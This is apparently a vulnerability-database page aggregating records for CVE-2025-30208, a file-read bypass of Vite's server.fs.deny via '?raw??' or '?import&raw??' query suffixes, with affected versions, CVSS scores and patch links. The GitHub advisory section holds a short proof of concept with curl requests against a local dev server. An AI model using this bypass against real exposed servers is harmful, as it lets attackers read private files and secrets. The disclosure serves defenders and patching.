cvelistv5 - cve-2025-30208

CVE-2025-30208 (GCVE-0-2025-30208)

Vulnerability from cvelistv5 – Published: 2025-03-24 17:03 – Updated: 2025-03-24 17:46

Summary

Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
CWE-284 - Improper Access Control

Assigner

GitHub_M

References

URL

Tags

	https://github.com/vitejs/vite/security/advisorie…	x_refsource_CONFIRM
	https://github.com/vitejs/vite/commit/315695e9d97…	x_refsource_MISC
	https://github.com/vitejs/vite/commit/80381c38d6f…	x_refsource_MISC
	https://github.com/vitejs/vite/commit/807d7f06d33…	x_refsource_MISC
	https://github.com/vitejs/vite/commit/92ca12dc791…	x_refsource_MISC
	https://github.com/vitejs/vite/commit/f234b5744d8…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	vitejs	vite	Affected: < 4.5.10 Affected: >= 5.0.0, < 5.4.15 Affected: >= 6.0.0, < 6.0.12 Affected: >= 6.1.0, < 6.1.2 Affected: >= 6.2.0, < 6.2.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-30208",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-24T17:40:42.736527Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-24T17:46:37.205Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "vite",
          "vendor": "vitejs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.5.10"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.0.0, \u003c 5.4.15"
            },
            {
              "status": "affected",
              "version": "\u003e= 6.0.0, \u003c 6.0.12"
            },
            {
              "status": "affected",
              "version": "\u003e= 6.1.0, \u003c 6.1.2"
            },
            {
              "status": "affected",
              "version": "\u003e= 6.2.0, \u003c 6.2.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import\u0026raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284: Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-03-24T17:03:40.728Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w"
        },
        {
          "name": "https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4"
        },
        {
          "name": "https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c"
        },
        {
          "name": "https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41"
        },
        {
          "name": "https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca"
        },
        {
          "name": "https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1"
        }
      ],
      "source": {
        "advisory": "GHSA-x574-m823-4x7w",
        "discovery": "UNKNOWN"
      },
      "title": "Vite bypasses server.fs.deny when using `?raw??`"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-30208",
    "datePublished": "2025-03-24T17:03:40.728Z",
    "dateReserved": "2025-03-18T18:15:13.849Z",
    "dateUpdated": "2025-03-24T17:46:37.205Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2025-30208\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2025-03-24T17:15:21.820\",\"lastModified\":\"2025-09-23T14:39:29.023\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import\u0026raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.\"},{\"lang\":\"es\",\"value\":\"Vite, un proveedor de herramientas de desarrollo frontend, presenta una vulnerabilidad en versiones anteriores a 6.2.3, 6.1.2, 6.0.12, 5.4.15 y 4.5.10. `@fs` deniega el acceso a archivos fuera de la lista de permitidos del servidor Vite. A\u00f1adir `?raw??` o `?import\u0026amp;raw??` a la URL evita esta limitaci\u00f3n y devuelve el contenido del archivo, si existe. Esta omisi\u00f3n se debe a que los separadores finales, como `?`, se eliminan en varios lugares, pero no se tienen en cuenta en las expresiones regulares de las cadenas de consulta. El contenido de archivos arbitrarios puede devolverse al navegador. Solo las aplicaciones que exponen expl\u00edcitamente el servidor de desarrollo de Vite a la red (mediante la opci\u00f3n de configuraci\u00f3n `--host` o `server.host`) se ven afectadas. Las versiones 6.2.3, 6.1.2, 6.0.12, 5.4.15 y 4.5.10 solucionan el problema.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N\",\"baseScore\":5.3,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":1.6,\"impactScore\":3.6},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-200\"},{\"lang\":\"en\",\"value\":\"CWE-284\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"NVD-CWE-noinfo\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*\",\"versionEndExcluding\":\"4.5.10\",\"matchCriteriaId\":\"A925DA49-0EFD-4E21-948C-FE4A45E9A58D\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*\",\"versionStartIncluding\":\"5.0.0\",\"versionEndExcluding\":\"5.4.15\",\"matchCriteriaId\":\"444AFEE6-1ED5-42A7-AC6D-0D1D829178DB\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*\",\"versionStartIncluding\":\"6.0.0\",\"versionEndExcluding\":\"6.0.12\",\"matchCriteriaId\":\"ABD9AA82-191F-45F4-BDF5-D3FAC0DD0D66\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*\",\"versionStartIncluding\":\"6.1.0\",\"versionEndExcluding\":\"6.1.2\",\"matchCriteriaId\":\"932B0FAC-8C56-43F5-8F2E-322544BD7272\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*\",\"versionStartIncluding\":\"6.2.0\",\"versionEndExcluding\":\"6.2.3\",\"matchCriteriaId\":\"578CF5D6-71AF-4A3B-BD07-D4C0A04C443A\"}]}]}],\"references\":[{\"url\":\"https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2025-30208\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2025-03-24T17:40:42.736527Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2025-03-24T17:46:31.722Z\"}}], \"cna\": {\"title\": \"Vite bypasses server.fs.deny when using `?raw??`\", \"source\": {\"advisory\": \"GHSA-x574-m823-4x7w\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 5.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"HIGH\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"vitejs\", \"product\": \"vite\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 4.5.10\"}, {\"status\": \"affected\", \"version\": \"\u003e= 5.0.0, \u003c 5.4.15\"}, {\"status\": \"affected\", \"version\": \"\u003e= 6.0.0, \u003c 6.0.12\"}, {\"status\": \"affected\", \"version\": \"\u003e= 6.1.0, \u003c 6.1.2\"}, {\"status\": \"affected\", \"version\": \"\u003e= 6.2.0, \u003c 6.2.3\"}]}], \"references\": [{\"url\": \"https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w\", \"name\": \"https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4\", \"name\": \"https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c\", \"name\": \"https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41\", \"name\": \"https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca\", \"name\": \"https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1\", \"name\": \"https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import\u0026raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-200\", \"description\": \"CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-284\", \"description\": \"CWE-284: Improper Access Control\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2025-03-24T17:03:40.728Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2025-30208\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-03-24T17:46:37.205Z\", \"dateReserved\": \"2025-03-18T18:15:13.849Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2025-03-24T17:03:40.728Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

GHSA-X574-M823-4X7W

Vulnerability from github – Published: 2025-03-25 14:00 – Updated: 2025-03-25 14:00

Summary

Vite bypasses server.fs.deny when using ?raw??

Details

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.0"
            },
            {
              "fixed": "6.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.4.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-25T14:00:02Z",
    "nvd_published_at": "2025-03-24T17:15:21Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\nOnly apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import\u0026raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes.\n\n### PoC\n```bash\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" \u003e /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n    \u003cbody\u003e\n      \u003ch1\u003e403 Restricted\u003c/h1\u003e\n      \u003cp\u003eThe request url \u0026quot;/tmp/secret.txt\u0026quot; is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import\u0026raw??\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```",
  "id": "GHSA-x574-m823-4x7w",
  "modified": "2025-03-25T14:00:02Z",
  "published": "2025-03-25T14:00:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitejs/vite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vite bypasses server.fs.deny when using ?raw??"
}

FKIE_CVE-2025-30208

Vulnerability from fkie_nvd - Published: 2025-03-24 17:15 - Updated: 2025-09-23 14:39

Severity ?

5.3 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4	Patch
security-advisories@github.com	https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c	Patch
security-advisories@github.com	https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41	Patch
security-advisories@github.com	https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca	Patch
security-advisories@github.com	https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1	Patch
security-advisories@github.com	https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w	Exploit, Third Party Advisory

Impacted products

Vendor	Product	Version
vitejs	vite	*
vitejs	vite	*
vitejs	vite	*
vitejs	vite	*
vitejs	vite	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "A925DA49-0EFD-4E21-948C-FE4A45E9A58D",
              "versionEndExcluding": "4.5.10",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "444AFEE6-1ED5-42A7-AC6D-0D1D829178DB",
              "versionEndExcluding": "5.4.15",
              "versionStartIncluding": "5.0.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "ABD9AA82-191F-45F4-BDF5-D3FAC0DD0D66",
              "versionEndExcluding": "6.0.12",
              "versionStartIncluding": "6.0.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "932B0FAC-8C56-43F5-8F2E-322544BD7272",
              "versionEndExcluding": "6.1.2",
              "versionStartIncluding": "6.1.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "578CF5D6-71AF-4A3B-BD07-D4C0A04C443A",
              "versionEndExcluding": "6.2.3",
              "versionStartIncluding": "6.2.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import\u0026raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue."
    },
    {
      "lang": "es",
      "value": "Vite, un proveedor de herramientas de desarrollo frontend, presenta una vulnerabilidad en versiones anteriores a 6.2.3, 6.1.2, 6.0.12, 5.4.15 y 4.5.10. `@fs` deniega el acceso a archivos fuera de la lista de permitidos del servidor Vite. A\u00f1adir `?raw??` o `?import\u0026amp;raw??` a la URL evita esta limitaci\u00f3n y devuelve el contenido del archivo, si existe. Esta omisi\u00f3n se debe a que los separadores finales, como `?`, se eliminan en varios lugares, pero no se tienen en cuenta en las expresiones regulares de las cadenas de consulta. El contenido de archivos arbitrarios puede devolverse al navegador. Solo las aplicaciones que exponen expl\u00edcitamente el servidor de desarrollo de Vite a la red (mediante la opci\u00f3n de configuraci\u00f3n `--host` o `server.host`) se ven afectadas. Las versiones 6.2.3, 6.1.2, 6.0.12, 5.4.15 y 4.5.10 solucionan el problema."
    }
  ],
  "id": "CVE-2025-30208",
  "lastModified": "2025-09-23T14:39:29.023",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2025-03-24T17:15:21.820",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        },
        {
          "lang": "en",
